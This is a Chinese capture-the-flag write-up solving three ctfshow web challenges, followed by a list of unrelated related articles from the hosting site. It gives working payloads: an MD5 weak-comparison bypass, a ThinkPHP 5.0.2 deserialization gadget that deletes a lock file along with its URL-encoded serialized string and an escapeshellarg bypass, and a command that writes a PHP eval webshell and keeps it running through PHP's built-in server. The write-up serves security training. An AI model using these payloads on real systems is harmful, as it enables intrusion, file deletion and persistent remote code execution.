ctfshow web 月饼杯II

web签到

<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {echo "小伙子不错嘛!!flag给你了:" . $flag;} else {echo "偶吼,带黑阔被窝抓到了!!!!";}
}

弱比较

我本来是想直接数组绕过的结果不行
YBB[]=1
那就只能用这个了
0e215962017这个的md5值也是0e开头所以可以绕过

eztp

<?php
namespace app\index\controller;
class Index
{   public function index($run=[]){highlight_file(__FILE__);echo '<h1>Welcome to CTFSHOW</h1></br>';echo 'Powered by PHPthink5.0.2</br>';echo dirname(__FILE__);if (!empty($run[2])){echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';}if (!empty($run[1])){unserialize($run[1]);}}// hint:/index/index/backdoorpublic function backdoor(){if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){echo "Try to post CMD arguments".'<br/>';$data = input('post.');if (!preg_match('/flag/i',$data['cmd'])){$cmd = escapeshellarg($data['cmd']);  //对cmd进行转义$cmd='cat '.$cmd;echo $cmd;system($cmd);}else{echo "No No No";}}else{echo dirname(__FILE__).'/../../'."install.lock has not been deleted";}}
}
Welcome to CTFSHOWPowered by PHPthink5.0.2
/var/www/html/application/index/controller

还有一个base64解码看看
在这里插入图片描述思路我们先必须删除'/../../'."install.lock"然后才能进行绕过
版本为5.0.2我们可以利用5.1的文件删除漏洞

<?php
namespace think\process\pipes;
use think\Process;
class Pipes{} 
class Windows extends Pipes{private $files=[];function __construct(){$this -> files=["/var/www/html/application/index/controller/../../install.lock"];}
}
echo urlencode(serialize(new Windows()));
?>

会反序列化run[1],然后我们就可以进行反序列化然后进行传参

index.php/index/index?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

然后访问index.php/index/index/backdoor进行POST传参
但是前面提到了会进行转义,这里是使用了一个%99,解码是个中文可以绕过

cmd=/fl%99ag

不要离开我

<?php// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在error_reporting(0);
highlight_file(__FILE__);$a=$_GET['action'];switch($a){case 'cmd':eval($_POST['cmd']);break;case 'check':file_get_contents("http://checker/api/check");break;default:die('params not validate');
}

这道题命令执行很简单,但是没有生成flag,我们要先生成flag才可以

php内置服务器
在这里插入图片描述

cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>");
没有编码发现没有反应编码之后成功发送   这个\是为了避免shell被转义
cmd=%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%22%2f%74%6d%70%2f%69%6e%64%65%78%2e%70%68%70%22%2c%22%3c%3f%70%68%70%20%65%76%61%6c%28%5c%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e%22%29%3b

看看有没有设置成功

cmd=system('cat /tmp/index.php');

在这里插入图片描述

cmd=system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/");cmd=%73%79%73%74%65%6d%28%22%73%6c%65%65%70%20%31%30%20%26%26%20%70%68%70%20%2d%53%20%30%2e%30%2e%30%2e%30%3a%38%30%20%2d%74%20%2f%74%6d%70%2f%22%29%3b%0a然后我们要在10秒之内把?action=check 执行了,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可。

在这里插入图片描述
check之后光速退出,就可以看到这个页面
我愿意称为MVP结算页面

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/18427.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《最新出炉》系列入门篇-Python+Playwright自动化测试-46-鼠标滚轮操作

宏哥微信粉丝群&#xff1a;https://bbs.csdn.net/topics/618423372 有兴趣的可以扫码加入 1.简介 有些网站为了节省流量和资源&#xff0c;提高加载效率&#xff0c;采用的是动态加载&#xff08;懒加载&#xff09;的&#xff0c;也就是当拖动页面右侧滚动条后会自动加载网…

【C++ ——— 继承】

文章目录 继承的概念即定义继承概念继承定义定义格式继承关系和访问限定符继承基类成员访问方式的变化 基类对象和派生类对象的赋值转换继承中的作用域派生类中的默认成员函数继承与友元继承与静态成员菱形继承 继承的概念即定义 继承概念 继承(inheritance)机制是面向对象程…

AdroitFisherman模块测试日志(2024/5/28)

测试内容 测试AdroitFisherman分发包中Base64Util模块。 测试用具 Django5.0.3框架&#xff0c;AdroitFisherman0.0.29 项目结构 路由设置 总路由 from django.contrib import admin from django.urls import path,include from Base64Util import urls urlpatterns [path…

操作系统—简要分析FAT文件系统

文章目录 简要分析FAT文件系统1.FAT的起源与发展历史2.FAT的基本结构与目录管理机制(1).基本结构(2).文件分配表(3).根目录区(4).数据区 3.优点与缺点4.改进与替代方案(1).exFAT(2).ext2/3/4(3).NTFS 小结参考文献 简要分析FAT文件系统 1.FAT的起源与发展历史 为了更好地管理磁…

​LabVIEW超声波检测

LabVIEW超声波检测 在现代工业生产和科学研究中&#xff0c;超声检测技术因其无损性、高效率和可靠性而被广泛应用于材料和结构的缺陷检测。然而&#xff0c;传统的超声检测仪器往往依赖于操作者的经验和技能&#xff0c;其检测过程不够智能化&#xff0c;且检测结果的解读具有…

Milvus的内存索引

简介&#xff1a; 这篇文章主要介绍milvus支持的各种内存索引&#xff0c;以及它们最适用的场景&#xff0c;还有用户为了获得更好的搜索性能可以配置的参数。 索引是有效组织数据的过程&#xff0c;它的主要角色是在大的数据集中显著的加速耗时的查询从而有效的进行相似搜索…

HTML静态网页成品作业(HTML+CSS)——动漫熊出没介绍网页(3个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有3个页面。 二、作品演示 三、代…

重构2:重构的原则

最近在看重构2&#xff1a;改善既有代码的设计这本书&#xff0c;对于代码重构指导非常有帮助&#xff0c;然后也是做个笔记记录下&#xff0c;以下是我阅读本书的前两章的时候整理的思维导图&#xff1a;

Python-3.12.0文档解读-内置函数ord()详细说明+记忆策略+常用场景+巧妙用法+综合技巧

一个认为一切根源都是“自己不够强”的INTJ 个人主页&#xff1a;用哲学编程-CSDN博客专栏&#xff1a;每日一题——举一反三Python编程学习Python内置函数 Python-3.12.0文档解读 目录 详细说明 概述 语法 参数 返回值 示例 注意事项 应用场景 记忆策略 常用场景…

【测试SQLite】测试SQLite支持的SQL语句分类

测试SQLite支持的SQL语句分类 为了全面测试SQLite支持的SQL语句&#xff0c;需要设计一个包含多种类型的表结构&#xff0c;并编写各种SQL语句来测试这些功能。目前按照以下分类进行测试&#xff1a; 数据定义语言&#xff08;DDL&#xff09;数据操作语言&#xff08;DML&am…

haproxy+keepalived搭建jeesns论坛

集群实现 软件层分为负载均衡层 Web 层、 数据库和共享存储层。 数据库&#xff1a; ​ keepalivedhaproxypxc&#xff08;MariaDB Galera Cluster&#xff09; 共享存储&#xff1a; ​ ceph分布式集群&#xff0c;cephfs web层&#xff1a; ​ tomcat 负载均衡&#x…

离线deb安装下载及安装实例

1、使用apt download下载deb安装包(不包括依赖包) 1.1仅下载deb安装包 sudo apt download lrzsz 1.2安装载deb安装包 sudo dpkg -i lrzsz_0.12.21-10kylin0k2_arm64.deb 注&#xff1a;dpkg安装deb包&#xff0c;部分存在depends关系&#xff0c;需要使用apt-get -f instal…

Linux 删除SSH密钥(id_ed25519),重新生成

在Linux系统中&#xff0c;重新生成SSH密钥&#xff08;比如id_ed25519&#xff09;的过程包括删除现有的密钥文件并生成一个新的。 以下是具体的步骤&#xff1a; 0. 查看下是否有密钥 1. 删除原有的id_ed25519密钥 默认情况下&#xff0c;SSH密钥存储在用户的主目录下的 .…

想让企业“火力全开”?找六西格玛培训公司就对了!

在如今的市场环境中&#xff0c;企业面临着不断变化的挑战和无限的可能。要在这场竞争中独领风骚&#xff0c;实现稳健的增长&#xff0c;六西格玛作为一种以数据驱动的管理理论&#xff0c;提供了实际可行的解决方案。六西格玛培训公司&#xff0c;作为这一领域的专家&#xf…

身为UI设计老鸟,不学点3D,好像要被潮流抛弃啦,卷起来吧。

当前3D原则在UI设计中运用的越来越多&#xff0c;在UI设计中&#xff0c;使用3D元素可以为界面带来以下几个价值&#xff1a; 增强视觉冲击力&#xff1a;3D元素可以通过立体感和逼真的效果&#xff0c;为界面增添视觉冲击力&#xff0c;使得设计更加生动、吸引人&#xff0c;并…

AI PC 的曙光:微软大胆出击与苹果竞争

AI PC 的曙光&#xff1a;微软大胆出击与苹果竞争 AI PC 的曙光&#xff1a;微软大胆出击与苹果竞争 概述 微软已正式进入 AI PC 时代&#xff0c;并且毫不避讳地直接向苹果的 MacBook 发起攻击。随着代号为“Copilot”的笔记本电脑的推出&#xff0c;微软准备彻底改变我们与…

AI大模型如何“开窍”?算法、数据与架构的三重奏

一、算法创新 1. 探索新的学习范式 自监督学习&#xff1a;利用未标注数据让模型自我学习&#xff0c;提高模型的泛化能力。元学习&#xff1a;让模型学会如何学习&#xff0c;以便在不同任务之间快速迁移。强化学习&#xff1a;通过试错与奖励机制&#xff0c;使模型在与环境…

012、哈希_应用场景

图为关系型数据表记录的两条用户信息,用户的属性作为表的列,每条用户信息作为行。 如果将其用哈希类型存储,如图所示。 相比于使用字符串序列化缓存用户信息,哈希类型变得更加直观,并且在更新操作上会更加便捷。可以将每个用户的id定义为键后缀,多对field-value对应每…

Springboot 开发 -- 集成 JWT 构建安全的API接口服务

一、JWT简介 JSON Web Token&#xff08;JWT&#xff09;是一种基于JSON的开放标准&#xff08;RFC 7519&#xff09;&#xff0c;用于在各方之间以JSON对象的形式安全地传输信息。JWT可以被签名&#xff0c;确保信息在传输过程中的完整性和可信度。JWT通常用于身份验证和信息…

12-常用类

1. 包装类 针对八种基本数据类型封装的相应的引用类型。 有了类的特点&#xff0c;就可以调用类中的方法。&#xff08;为什么要封装&#xff09; 基本数据类型包装类booleanBooleanchar CharacterbyteByteshortShortintIntegerlongLongfloatFloatdoubleDouble 1.1 …